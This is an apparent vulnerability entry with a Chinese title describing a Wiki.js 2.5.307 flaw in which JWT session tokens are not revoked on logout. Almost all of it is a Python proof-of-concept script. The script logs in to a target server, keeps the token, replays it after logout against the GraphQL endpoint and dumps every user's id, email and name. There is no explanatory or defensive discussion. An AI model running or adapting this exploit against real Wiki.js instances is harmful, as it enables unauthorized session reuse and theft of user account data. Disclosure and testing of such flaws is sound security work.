Wiki.js 2.5.307 JWT会话令牌登出后未撤销漏洞

import requests import json # Target Wiki.js instance TARGET_URL = "http://target-server:3000" # Step 1: Normal login to get JWT token login_url = f"{TARGET_URL}/login" login_data = { "email": "[email protected]", "password": "password123" } response = requests.post(login_url, json=login_data) if response.status_code == 200: jwt_token = response.json().get("token") print(f"[+] Obtained JWT token: {jwt_token}") else: print("[-] Login failed") exit(1) # Step 2: User logs out (token remains valid) # Simulating logout - token is not invalidated on server side print("[*] Target user logs out...") # Step 3: Use the same token after logout (exploit) graphql_url = f"{TARGET_URL}/graphql" headers = { "Authorization": f"Bearer {jwt_token}", "Content-Type": "application/json" } # GraphQL query to verify token still works query = { "query": "{ users { id email name } }"} response = requests.post(graphql_url, headers=headers, json=query) if response.status_code == 200: result = response.json() if "data" in result: print(f"[+] Exploit successful! Token still valid after logout") print(f"[+] Retrieved user data: {json.dumps(result, indent=2)}") else: print(f"[-] Unexpected response: {result}") else: print(f"[-] Request failed with status: {response.status_code}")